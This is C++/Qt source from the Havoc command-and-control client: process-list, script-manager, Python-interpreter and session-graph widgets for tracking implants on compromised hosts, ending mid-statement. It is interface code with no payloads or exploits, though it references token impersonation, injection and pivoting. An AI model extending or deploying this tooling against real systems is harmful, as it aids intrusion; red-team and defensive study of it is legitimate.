ProcessTable->horizontalHeaderItem(1)->setText(QCoreApplication::translate("Process List", "PID", nullptr)); ProcessTable->horizontalHeaderItem(2)->setText(QCoreApplication::translate("Process List", "PPID", nullptr)); ProcessTable->horizontalHeaderItem(3)->setText(QCoreApplication::translate("Process List", "Session", nullptr)); ProcessTable->horizontalHeaderItem(4)->setText(QCoreApplication::translate("Process List", "Arch", nullptr)); ProcessTable->horizontalHeaderItem(5)->setText(QCoreApplication::translate("Process List", "User", nullptr)); ProcessTable->horizontalHeader()->resizeSection(0, 200); ProcessTable->horizontalHeader()->resizeSection(1, 70); ProcessTable->horizontalHeader()->resizeSection(2, 70); ProcessTable->horizontalHeader()->resizeSection(3, 70); ProcessTable->horizontalHeader()->resizeSection(4, 70); pushButton_Refresh->setText(QCoreApplication::translate("Process List", "Refresh", nullptr)); // pushButton_Kill->setText(QCoreApplication::translate("Process List", "Kill", nullptr)); // pushButton_Steal_Token->setText(QCoreApplication::translate("Process List", "Impersonate Token", nullptr)); // pushButton_Inject->setText(QCoreApplication::translate("Process List", "Inject", nullptr)); // Context Menu connect( ProcessTable, &QTableWidget::customContextMenuRequested, this, &ProcessList::handleTableListMenuContext ); connect( ProcessTree, &QTreeWidget::customContextMenuRequested, this, &ProcessList::handleTreeListMenuContext ); // Context Menu Actions connect( actionCopyProcessID, &QAction::triggered, this, &ProcessList::onActionCopyPID ); // connect( actionSetAsParentProcess, &QAction::triggered, this, &ProcessList::onActionSetParentProcess ); // Buttons connect( pushButton_Refresh, &QPushButton::clicked, this, &ProcessList::onButton_Refresh ); // List Widget actions connect( ProcessTable, &QTableWidget::clicked, this, &ProcessList::onTableChange ); connect( ProcessTree, &QTreeWidget::clicked, this, &ProcessList::onTreeChange ); } void HavocNamespace::UserInterface::Widgets::ProcessList::UpdateProcessListJson( QJsonDocument ProcessListData ) { ProcessTable->setRowCount( 0 ); ProcessTree->clear(); if ( ProcessListData.isArray() ) { auto ProcessListArray = ProcessListData.array(); for ( QJsonValueRef ProcessInfo : ProcessListArray ) { auto Process = ProcessInfo.toObject(); auto ProcessInfoMap = std::map() ; auto ProcessIsWow = Process[ "IsWow" ].toInt(); ProcessInfoMap.insert( { "Name", Process[ "Name" ].toString() } ); ProcessInfoMap.insert( { "PID", Process[ "PID" ].toString() } ); ProcessInfoMap.insert( { "PPID", Process[ "PPID" ].toString() } ); ProcessInfoMap.insert( { "Session", Process[ "Session" ].toString() } ); ProcessInfoMap.insert( { "Arch", ProcessIsWow ? "x86" : "x64" } ); ProcessInfoMap.insert( { "User", Process[ "User" ].toString() } ); NewTableProcess( ProcessInfoMap ); NewTreeProcess( ProcessInfoMap ); } } ProcessTree->expandAll(); } void HavocNamespace::UserInterface::Widgets::ProcessList::NewTableProcess(std::map ProcessInfo) { if ( this->ProcessTable->rowCount() < 1 ) this->ProcessTable->setRowCount( 1 ); else this->ProcessTable->setRowCount( this->ProcessTable->rowCount() + 1 ); this->ProcessTable->setSortingEnabled( false ); auto Name = new QTableWidgetItem(); Name->setText(ProcessInfo["Name"]); Name->setFlags(Name->flags() ^ Qt::ItemIsEditable); if (this->Session.PID.compare(ProcessInfo["PID"]) == 0) { Name->setForeground(QColor(255, 85, 85)); } this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 0, Name); auto PID = new QTableWidgetItem(); PID->setText(ProcessInfo["PID"]); PID->setTextAlignment( Qt::AlignCenter ); PID->setFlags(PID->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 1, PID); auto PPID = new QTableWidgetItem(); PPID->setText(ProcessInfo["PPID"]); PPID->setTextAlignment( Qt::AlignCenter ); PPID->setFlags(PPID->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 2, PPID); // Session and Arch are swapped... auto SessionID = new QTableWidgetItem(); SessionID->setText(ProcessInfo["Session"]); SessionID->setTextAlignment( Qt::AlignCenter ); SessionID->setFlags(SessionID->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 3, SessionID); auto Arch = new QTableWidgetItem(); Arch->setText(ProcessInfo["Arch"]); Arch->setTextAlignment( Qt::AlignCenter ); Arch->setFlags(Arch->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 4, Arch); auto User = new QTableWidgetItem(); User->setText(ProcessInfo["User"]); User->setFlags(User->flags() ^ Qt::ItemIsEditable); this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 5, User); } void HavocNamespace::UserInterface::Widgets::ProcessList::NewTreeProcess( std::map ProcessInfo ) { auto ProcessItem = new QTreeWidgetItem; auto it = QTreeWidgetItemIterator( ProcessTree ); ProcessItem->setText( 0, ProcessInfo[ "PID" ] + ": " + ProcessInfo[ "Name" ] ); while ( *it ) { if ( ( *it )->text( 0 ).split( ": " )[ 0 ].compare( ProcessInfo[ "PPID" ] ) == 0 ) { ( *it )->addChild( ProcessItem ); return; } ++it; } ProcessTree->addTopLevelItem( ProcessItem ); } void HavocNamespace::UserInterface::Widgets::ProcessList::onButton_Refresh() const { for ( auto & Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( Session.Name ) == 0 ) { if ( Session.ProcessList ) { Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true ); return; } } } } void HavocNamespace::UserInterface::Widgets::ProcessList::onTableChange() { auto PID = ProcessTable->item( ProcessTable->currentRow(), 1 )->text(); auto it = QTreeWidgetItemIterator ( ProcessTree ); while ( *it ) { if ( ( *it )->text( 0 ).split( ": " )[ 0 ].compare( PID ) == 0 ) { ProcessTree->setCurrentItem( *it ); return; } ++it; } } void HavocNamespace::UserInterface::Widgets::ProcessList::onTreeChange() { auto PID = ProcessTree->currentItem()->text( ProcessTree->currentColumn() ).split( ":" )[ 0 ]; for ( u32 i = 0; i < ProcessTable->rowCount(); i++ ) { if ( ProcessTable->item( i, 1 )->text().compare( PID ) == 0 ) { ProcessTable->setCurrentItem( ProcessTable->item( i, 1 ) ); } } } void HavocNamespace::UserInterface::Widgets::ProcessList::handleTableListMenuContext( const QPoint &pos ) { if ( ! ProcessTable->itemAt( pos ) ) return; ProcessListMenu->popup( ProcessTable->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } void HavocNamespace::UserInterface::Widgets::ProcessList::handleTreeListMenuContext( const QPoint &pos ) { if ( ! ProcessTable->itemAt( pos ) ) return; ProcessListMenu->popup( ProcessTree->viewport()->mapToGlobal( pos ) ); } void HavocNamespace::UserInterface::Widgets::ProcessList::onActionCopyPID() { spdlog::info("PID saved to clipboard"); auto PID = this->ProcessTree->currentItem()->text(this->ProcessTree->currentColumn()).split(":")[0]; QApplication::clipboard()->setText( PID ); } void HavocNamespace::UserInterface::Widgets::ProcessList::onActionSetParentProcess() { }havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/PythonScript.cc000066400000000000000000000056541467014221700264700ustar00rootroot00000000000000#include #include #include #include #include #include void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::setupUi(QWidget *WindowWidget) { PythonScriptInterpreterWidget = WindowWidget; if (PythonScriptInterpreterWidget->objectName().isEmpty()) PythonScriptInterpreterWidget->setObjectName(QString::fromUtf8("PythonScriptWidget")); PythonScriptInterpreterWidget->setWindowTitle(QCoreApplication::translate("PythonScriptWidget", "Script Interpreter", nullptr)); gridLayout = new QGridLayout(PythonScriptInterpreterWidget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setContentsMargins(4, 4, 4, 4); gridLayout->setVerticalSpacing(4); PythonScriptInput = new QLineEdit(PythonScriptInterpreterWidget); PythonScriptInput->setObjectName(QString::fromUtf8("PythonScriptInput")); gridLayout->addWidget(PythonScriptInput, 1, 0, 1, 1); PythonScriptOutput = new QPlainTextEdit(PythonScriptInterpreterWidget); PythonScriptOutput->setObjectName(QString::fromUtf8("PythonScriptOutput")); PythonScriptOutput->setReadOnly(true); PythonScriptOutput->setLineWrapMode(QPlainTextEdit::LineWrapMode::NoWrap); PythonScriptOutput->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); gridLayout->addWidget(PythonScriptOutput, 0, 0, 1, 1); connect( PythonScriptInput, &QLineEdit::returnPressed, this, &PythonScriptInterpreter::AppendFromInput ); PythonScriptOutput->appendHtml( ( "Python " + QString( Py_GetVersion() ) ) ); PythonScriptOutput->appendHtml( ( R"(Type "help", "copyright", "credits" or "license" for more information.)" ) ); PythonScriptOutput->appendPlainText(""); QMetaObject::connectSlotsByName( PythonScriptInterpreterWidget ); } void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::RunCode( QString code ) { std::string buffer; emb::stdout_write_type write = [&] (std::string s) { buffer += s; }; emb::set_stdout(write); if ( PyRun_SimpleStringFlags( code.toStdString().c_str(), NULL ) == -1 ) { spdlog::error( "Failed to run script" ); return; } if ( buffer.size() > 0 ) this->PythonScriptOutput->appendPlainText( buffer.c_str() ); } void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::AppendFromInput() { QString Input = PythonScriptInput->text(); if ( ! Input.isEmpty() ) { PythonScriptOutput->appendHtml( Util::ColorText::Red( ">>>" ) + " " + Input.toHtmlEscaped() ); PythonScriptInput->clear(); RunCode( Input ); } } void HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::AppendOutput( QString output ) { PythonScriptOutput->appendPlainText( output ); }havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/ScriptManager.cc000066400000000000000000000167311467014221700265570ustar00rootroot00000000000000#include #include #include #include #include #include #include using namespace HavocNamespace::UserInterface::Widgets; void ScriptManager::SetupUi( QWidget *Form ) { QString MenuStyle = "QMenu {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" " border: 1px solid #44475a;\n" "}\n" "\n" "QMenu::separator {\n" " background: #44475a;\n" "}\n" "\n" "QMenu::item:selected {\n" " background: #44475a;\n" "}\n" "\n" "QAction {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" "}"; this->ScriptManagerWidget = Form; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8("Form") ); Form->resize( 1417, 626 ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); buttonLoadScript = new QPushButton( Form ); buttonLoadScript->setObjectName( QString::fromUtf8( "buttonLoadScript" ) ); gridLayout->addWidget( buttonLoadScript, 2, 1, 1, 1 ); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem( horizontalSpacer, 2, 0, 1, 1 ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer_2, 2, 2, 1, 1 ); tableLoadedScripts = new QTableWidget( Form ); tableLoadedScripts->setObjectName( QString::fromUtf8( "tableLoadedScripts" ) ); tableLoadedScripts->setEnabled( true ); tableLoadedScripts->setShowGrid( false ); tableLoadedScripts->setSortingEnabled( false ); tableLoadedScripts->setWordWrap( true ); tableLoadedScripts->setCornerButtonEnabled( true ); tableLoadedScripts->horizontalHeader()->setVisible( true ); tableLoadedScripts->setSelectionBehavior( QAbstractItemView::SelectRows ); tableLoadedScripts->setContextMenuPolicy( Qt::CustomContextMenu ); tableLoadedScripts->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); tableLoadedScripts->verticalHeader()->setVisible( false ); tableLoadedScripts->horizontalHeader()->setStretchLastSection( true ); tableLoadedScripts->verticalHeader()->setDefaultSectionSize( 12 ); tableLoadedScripts->setFocusPolicy( Qt::NoFocus ); actionReload = new QAction( "Reload" ); actionRemove = new QAction( "Remove" ); menuScripts = new QMenu( this ); menuScripts->setStyleSheet( MenuStyle ); menuScripts->addAction( actionReload ); menuScripts->addAction( actionRemove ); if ( tableLoadedScripts->columnCount() < 1 ) tableLoadedScripts->setColumnCount( 1 ); tableLoadedScripts->setHorizontalHeaderItem(0, new QTableWidgetItem()); gridLayout->addWidget( tableLoadedScripts, 0, 0, 1, 3 ); gridLayout->setMargin( 0 ); QObject::connect( buttonLoadScript, &QPushButton::clicked, this, &ScriptManager::b_LoadScript ); QObject::connect( tableLoadedScripts, &QTableWidget::customContextMenuRequested, this, &ScriptManager::menu_ScriptMenu ); QObject::connect( actionReload, &QAction::triggered, this, &ScriptManager::ReloadScript ); QObject::connect( actionRemove, &QAction::triggered, this, &ScriptManager::RemoveScript ); RetranslateUi(); for ( auto& Script : HavocX::Teamserver.TabSession->dbManager->GetScripts() ) { AddScriptTable( Script ); } QMetaObject::connectSlotsByName(Form); } // setupUi void ScriptManager::RetranslateUi( ) { ScriptManagerWidget->setWindowTitle(QCoreApplication::translate("Form", "Script Manager", nullptr)); buttonLoadScript->setText(QCoreApplication::translate("Form", "Load Script", nullptr)); tableLoadedScripts->horizontalHeaderItem(0)->setText(QCoreApplication::translate("Form", "Path", nullptr)); } bool ScriptManager::AddScript( QString Path ) { auto Script = FileRead( Path ); auto path = Path.toStdString(); int Return = 0; HavocX::Teamserver.LoadingScript = Path.toStdString(); if ( Script != nullptr ) { if ( ! Script.isEmpty() ) { Return = PyRun_SimpleStringFlags( Script.toStdString().c_str(), NULL ); if ( Return == -1 ) { spdlog::error( "Failed to run script: {}", path ); } else { return true; } } else { spdlog::error( "Script path not found: {}", path ); } } else { spdlog::error( "Failed to load script: {}", path ); } HavocX::Teamserver.LoadingScript = ""; return false; } void ScriptManager::AddScriptTable( QString Path ) { if ( tableLoadedScripts->rowCount() < 1 ) tableLoadedScripts->setRowCount( 1 ); else tableLoadedScripts->setRowCount( tableLoadedScripts->rowCount() + 1 ); tableLoadedScripts->setItem( tableLoadedScripts->rowCount() - 1, 0, new QTableWidgetItem( Path ) ); // add to database if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript( Path ) ) HavocX::Teamserver.TabSession->dbManager->AddScript( Path ); } void ScriptManager::b_LoadScript() { auto FileDialog = QFileDialog(); auto Filename = QUrl(); auto Style = FileRead( ":/stylesheets/Dialogs/FileDialog" ).toStdString(); Style.erase( std::remove( Style.begin(), Style.end(), '\n'), Style.end() ); FileDialog.setStyleSheet( Style.c_str() ); FileDialog.setDirectory( QDir::homePath() ); if ( FileDialog.exec() == QFileDialog::Accepted ) { Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile(); if ( ! Filename.toString().isNull() ) { if ( AddScript( Filename.toString() ) ) { AddScriptTable( Filename.toString() ); } else { auto messageBox = QMessageBox( ); messageBox.setWindowTitle( "Failed to import script" ); messageBox.setText( "The script " + Filename.toString() + " could not be imported due to an error." ); messageBox.setIcon( QMessageBox::Critical ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); // messageBox.setMaximumSize( QSize( 500, 500 ) ); messageBox.exec(); } } } } void ScriptManager::menu_ScriptMenu( const QPoint &pos ) const { auto DemonSelected = tableLoadedScripts->itemAt( pos ); if ( ! DemonSelected ) return; menuScripts->popup( tableLoadedScripts->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } void ScriptManager::ReloadScript() const { auto Path = tableLoadedScripts->item( tableLoadedScripts->currentRow(), 0 )->text(); // Just rerun the script AddScript( Path ); } // TODO: clear python interpreter and reload every script except the one that got removed void ScriptManager::RemoveScript() const { auto Path = tableLoadedScripts->item( tableLoadedScripts->currentRow(), 0 )->text(); tableLoadedScripts->removeRow( tableLoadedScripts->currentRow() ); HavocX::Teamserver.TabSession->dbManager->RemoveScript( Path ); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/SessionGraph.cc000066400000000000000000000773371467014221700264360ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::Util; GraphWidget::GraphWidget( QWidget* parent ) : QGraphicsView( parent ) { GraphScene = new QGraphicsScene( this ); GraphScene->setItemIndexMethod( QGraphicsScene::BspTreeIndex ); setScene( GraphScene ); setCacheMode( CacheBackground ); setViewportUpdateMode( BoundingRectViewportUpdate ); setRenderHint( QPainter::Antialiasing ); setTransformationAnchor( AnchorUnderMouse ); scaleView( qreal( 1 ) ); MainNode = new Member { .Name = "MainNode", .Node = new Node( NodeItemType::MainNode, QString(), this ), }; MainNode->Node->Session = {}; GraphScene->addItem( MainNode->Node ); MainNode->Node->setPos( 100, 50 ); NodeList.push_back( MainNode ); } Node* GraphWidget::GraphNodeAdd( SessionItem Session ) { auto item = new Node( NodeItemType::Session, Session.Name + " " + Session.Process + "\\" + Session.PID + " [" + Session.Computer + "\\" + Session.User + "]", this ); item->NodeEdge = new Edge( MainNode->Node, item, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Green ) ); item->Parent = MainNode->Node; item->NodeID = Session.Name; item->Session = Session; auto member = new Member { .Name = Session.Name, .Node = item, }; GraphScene->addItem( item ); GraphScene->addItem( item->NodeEdge ); MainNode->Node->appendChild( item ); NodeList.push_back( member ); layout( MainNode->Node ); return item; } void GraphWidget::GraphNodeRemove( SessionItem Session ) { for ( int i = 0; i < NodeList.size(); i++ ) { if ( Session.Name.compare( NodeList[ i ]->Name ) == 0 ) { GraphScene->removeItem( NodeList[ i ]->Node->NodeEdge ); GraphScene->removeItem( NodeList[ i ]->Node ); NodeList.erase( NodeList.begin() + i ); MainNode->Node->removeChild( NodeList[ i ]->Node ); /* delete NodeList[ i ]->Node->NodeEdge; delete NodeList[ i ]->Node; delete NodeList[ i ]; */ return; } } } void GraphWidget::GraphPivotNodeAdd( QString AgentID, SessionItem Session ) { auto item = new Node( NodeItemType::Session, Session.Name + " " + Session.Process + "\\" + Session.PID + " [" + Session.Computer + "\\" + Session.User + "]", this ); item->Session = Session; GraphScene->addItem( item ); const auto items = scene()->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->NodeID.compare( AgentID ) == 0 ) { item->NodeID = Session.Name; item->NodeEdge = new Edge( i, item, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) ); item->Parent = i; i->appendChild( item ); GraphScene->addItem( item->NodeEdge ); layout( MainNode->Node ); return; } } } auto agent_id = AgentID.toStdString(); auto session = Session.Name.toStdString(); spdlog::error( "Parent AgentID {} not found for {}", agent_id, session ); } void GraphWidget::GraphPivotNodeDisconnect( QString AgentID ) { const auto items = GraphScene->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->dest->NodeID.compare( AgentID ) == 0 ) { i->dest->Disconnected = true; i->Color( QColor( HavocNamespace::Util::ColorText::Colors::Hex::Red ) ); i->dest->update(); i->source->update(); return; } } } } void GraphWidget::GraphPivotNodeReconnect( QString ParentAgentID, QString ChildAgentID ) { const auto items = GraphScene->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->dest->NodeID.compare( ChildAgentID ) == 0 ) { GraphScene->addItem( new Edge( GraphNodeGet( ParentAgentID ), i->dest, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) ) ); GraphScene->removeItem( i ); // TODO: somehow remove/free i (Edge*) // i->source = GraphNodeGet( ParentAgentID ); // i->dest->Disconnected = false; // i->Color( QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) ); // i->dest->update(); // i->source->update(); return; } } } } void GraphWidget::itemMoved() { if ( ! timerId ) timerId = startTimer( 1000 / 25 ); } void GraphWidget::keyPressEvent( QKeyEvent* event ) { switch ( event->key( ) ) { case Qt::Key_Plus: zoomIn(); break; case Qt::Key_Minus: zoomOut(); break; default: QGraphicsView::keyPressEvent( event ); } } void GraphWidget::timerEvent( QTimerEvent* event ) { Q_UNUSED( event ); const auto items = scene()->items(); auto nodes = QVector(); bool itemsMoved = false; for ( QGraphicsItem* item : items ) { if ( Node* node = qgraphicsitem_cast( item ) ) nodes << node; } for ( Node* node : qAsConst( nodes ) ) node->calculateForces(); for ( Node* node : qAsConst( nodes ) ) { if ( node->advancePosition() ) itemsMoved = true; } if ( ! itemsMoved ) { killTimer( timerId ); timerId = 0; } } void GraphWidget::resizeEvent( QResizeEvent* event ) { scene()->setSceneRect( 0, 0, event->size().width(), event->size().height() ); QGraphicsView::resizeEvent( event ); } void GraphWidget::wheelEvent( QWheelEvent* event ) { scaleView( pow( 2., event->angleDelta().y() / 500.0 ) ); } void GraphWidget::drawBackground( QPainter* painter, const QRectF& rect ) { Q_UNUSED( rect ); // Shadow auto sceneRect = this->sceneRect(); auto gradient = QLinearGradient( sceneRect.topLeft(), sceneRect.bottomRight() ); auto Background = HavocNamespace::Util::ColorText::Colors::Hex::Background; gradient.setColorAt( 0, QColor( Background ) ); painter->fillRect( rect.intersected( sceneRect ), gradient ); painter->setBrush( Qt::NoBrush ); painter->drawRect( sceneRect ); } void GraphWidget::scaleView( qreal scaleFactor ) { qreal factor = transform().scale( scaleFactor, scaleFactor ).mapRect( QRectF( 0, 0, 1, 1 ) ).width(); if ( factor < 1 || factor > 50 ) return; scale( scaleFactor, scaleFactor ); } void GraphWidget::shuffle() { const auto items = scene()->items(); for ( QGraphicsItem* item : items ) { if ( qgraphicsitem_cast( item ) ) item->setPos( -150 + QRandomGenerator::global()->bounded( 300 ), -150 + QRandomGenerator::global()->bounded( 300 ) ); } } void GraphWidget::zoomIn() { scaleView( qreal( 1.2 ) ); } void GraphWidget::zoomOut() { scaleView( 1 / qreal( 1.2 ) ); } Node *GraphWidget::GraphNodeGet( QString AgentID ) { const auto items = GraphScene->items(); for ( QGraphicsItem* g_item : items ) { if ( qgraphicsitem_cast( g_item ) ) { auto i = qgraphicsitem_cast( g_item ); if ( i->NodeID.compare( AgentID ) == 0 ) { return i; } } } return nullptr; } // Initialize node properties for layout void GraphWidget::initNode(Node* v) { v->Modifier = 0; v->Thread = nullptr; v->Ancestor = v; for (Node* w : v->Children) { initNode(w); } } // Entry function for layout void GraphWidget::layout(Node* T) { initNode(T); firstWalk(T); // m = 50 to shift position to positive axes secondWalk(T, 50, 0); } // Calculate preliminary x-coordinates for all nodes void GraphWidget::firstWalk(Node* v) { if (v->Children.empty()) { // If leaf node if (v->Parent && v != v->Parent->Children[0]) { auto leftSibling = std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v)); v->Prelim = (*leftSibling)->Prelim + Y_SEP; } else { v->Prelim = 0; } } else { // Non-leaf node Node* defaultAncestor = v->Children[0]; for (Node* w : v->Children) { firstWalk(w); apportion(w, defaultAncestor); } executeShifts(v); // Compute the node's preliminary x-coordinate based on children's positions double midpoint = (v->Children[0]->Prelim + v->Children.back()->Prelim) / 2; if (v->Parent && v != v->Parent->Children[0]) { auto leftSibling = *std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v)); v->Prelim = leftSibling->Prelim + Y_SEP; v->Modifier = v->Prelim - midpoint; } else { v->Prelim = midpoint; } } } // Adjusts spacing between subtrees to ensure they don't overlap void GraphWidget::apportion(Node* v, Node*& defaultAncestor) { if (v != v->Parent->Children[0]) { auto leftSibling = *std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v)); Node* vip = v; Node* vop = v; Node* vim = leftSibling; Node* vom = vip->Parent->Children[0]; double sip = vip->Modifier; double sop = vop->Modifier; double sim = vim->Modifier; double som = vom->Modifier; while (nextRight(vim) && nextLeft(vip)) { vim = nextRight(vim); vip = nextLeft(vip); vom = nextLeft(vom); vop = nextRight(vop); vop->Ancestor = v; // Calculate how much to shift the trees apart double shift = (vim->Prelim + sim) - (vip->Prelim + sip) + Y_SEP; if (shift > 0) { // Move the current subtree apart from the previous subtree moveSubtree(ancestor(vim, v, defaultAncestor), v, shift); sip += shift; sop += shift; } sim += vim->Modifier; sip += vip->Modifier; som += vom->Modifier; sop += vop->Modifier; } if (nextRight(vim) && !nextRight(vop)) { vop->Thread = nextRight(vim); vop->Modifier += sim - sop; } if (nextLeft(vip) && !nextLeft(vom)) { vom->Thread = nextLeft(vip); vom->Modifier += sip - som; defaultAncestor = v; } } } // Move the subtree rooted at wp so it's shifted away from the subtree rooted at wm void GraphWidget::moveSubtree(Node* wm, Node* wp, double shift) { // Find the indices of wm and wp in their parent's children list auto wmIndex = std::distance(wp->Parent->Children.cbegin(), std::find(wp->Parent->Children.cbegin(), wp->Parent->Children.cend(), wm)); auto wpIndex = std::distance(wp->Parent->Children.cbegin(), std::find(wp->Parent->Children.cbegin(), wp->Parent->Children.cend(), wp)); // Number of subtrees is the difference in their indices int subtrees = wpIndex - wmIndex; if (subtrees != 0) { wp->Change -= shift / subtrees; wp->Shift += shift; wm->Change += shift / subtrees; wp->Prelim += shift; wp->Modifier += shift; } } // Helper function to get the leftmost child or thread (left contour) Node* GraphWidget::nextLeft(Node* v) { if (!v->Children.empty()) return v->Children[0]; else return v->Thread; } // Helper function to get the rightmost child or thread (right contour) Node* GraphWidget::nextRight(Node* v) { if (!v->Children.empty()) return v->Children.back(); else return v->Thread; } // Get the ancestor of vim that is in the same subtree as v, or return defaultAncestor Node* GraphWidget::ancestor(Node* vim, Node* v, Node*& defaultAncestor) { if (vim->Ancestor->Parent == v->Parent) { return vim->Ancestor; } else { return defaultAncestor; } } // Propagate the shifts down to ensure subtrees are moved accordingly void GraphWidget::executeShifts(Node* v) { double shift = 0; double change = 0; for (int i = v->Children.size() - 1; i >= 0; i--) { Node* w = v->Children[i]; w->Prelim += shift; w->Modifier += shift; change += w->Change; shift += w->Shift + change; } } // Walk the tree again to assign final x and y coordinates to each node void GraphWidget::secondWalk(Node* v, double m, double depth) { v->setPos((depth * X_SEP) + 100, v->Prelim + m); for (Node* w : v->Children) { secondWalk(w, m + v->Modifier, depth + 1); } } // ================================================== // =================== Edge Class =================== // ================================================== Edge::Edge( Node* sourceNode, Node* destNode, QColor Color ) : source( sourceNode ), dest( destNode ), color( Color ) { setAcceptedMouseButtons( Qt::NoButton ); source->addEdge( this ); dest->addEdge( this ); adjust(); } Node* Edge::sourceNode() const { return source; } Node* Edge::destNode() const { return dest; } void Node::contextMenuEvent( QGraphicsSceneContextMenuEvent* event ) { if ( NodeType == NodeItemType::MainNode ) return; auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); auto Agent = Util::SessionItem{}; for ( auto s : HavocX::Teamserver.Sessions ) { if ( s.Name.compare( NodeID ) == 0 ) { Agent = s; break; } } auto separator = new QAction(); auto separator2 = new QAction(); auto separator3 = new QAction(); auto separator4 = new QAction(); separator->setSeparator( true ); separator2->setSeparator( true ); separator3->setSeparator( true ); separator4->setSeparator( true ); auto SessionMenu = QMenu(); auto SessionExplorer = QMenu( "Explorer" ); SessionExplorer.addAction( "Process List" ); SessionExplorer.addAction( "File Explorer" ); SessionExplorer.setStyleSheet( MenuStyle ); SessionMenu.addAction( "Interact" ); SessionMenu.addAction( separator ); if ( Agent.MagicValue == DemonMagicValue ) { SessionMenu.addAction( SessionExplorer.menuAction() ); SessionMenu.addAction( separator2 ); } if ( Agent.Marked.compare( "Dead" ) != 0 ) SessionMenu.addAction( "Mark as Dead" ); else SessionMenu.addAction( "Mark as Alive" ); SessionMenu.addAction( "Export" ); SessionMenu.addAction( separator3 ); SessionMenu.addAction( "Remove" ); if ( Agent.MagicValue == DemonMagicValue ) { auto ExitMenu = QMenu( "Exit" ); ExitMenu.addAction( "Thread" ); ExitMenu.addAction( "Process" ); ExitMenu.setStyleSheet( MenuStyle ); SessionMenu.addAction( ExitMenu.menuAction() ); } else { SessionMenu.addAction( "Exit" ); } SessionMenu.setStyleSheet( MenuStyle ); auto *action = SessionMenu.exec( event->screenPos() ); if ( action ) { for ( auto & Session : HavocX::Teamserver.Sessions ) { // TODO: make that on Session receive if ( Session.InteractedWidget == nullptr ) { Session.InteractedWidget = new UserInterface::Widgets::DemonInteracted; Session.InteractedWidget->SessionInfo = Session; Session.InteractedWidget->TeamserverName = HavocX::Teamserver.Name; Session.InteractedWidget->setupUi( new QWidget ); } if ( Session.Name.compare( NodeID ) == 0 ) { if ( action->text().compare( "Interact" ) == 0 ) { auto tabName = "[" + Session.Name + "] " + Session.User + "/" + Session.Computer; for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ ) { if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName ) { HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i ); return; } } HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() ); Session.InteractedWidget->lineEdit->setFocus(); } else if ( action->text().compare( "Mark as Dead" ) == 0 ) { auto Marked = QString(); Marked = "Dead"; HavocApplication->HavocAppUI.MarkSessionAs( Session, Marked ); } else if ( action->text().compare( "Mark as Alive" ) == 0 ) { auto Marked = QString(); Marked = "Alive"; HavocApplication->HavocAppUI.MarkSessionAs( Session, Marked ); } else if ( action->text().compare( "Mark as Dead" ) == 0 || action->text().compare( "Mark as Alive" ) == 0 ) { for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( AgentID.compare( NodeID ) == 0 ) { auto Package = new Util::Packager::Package; Package->Head = Util::Packager::Head_t { .Event= 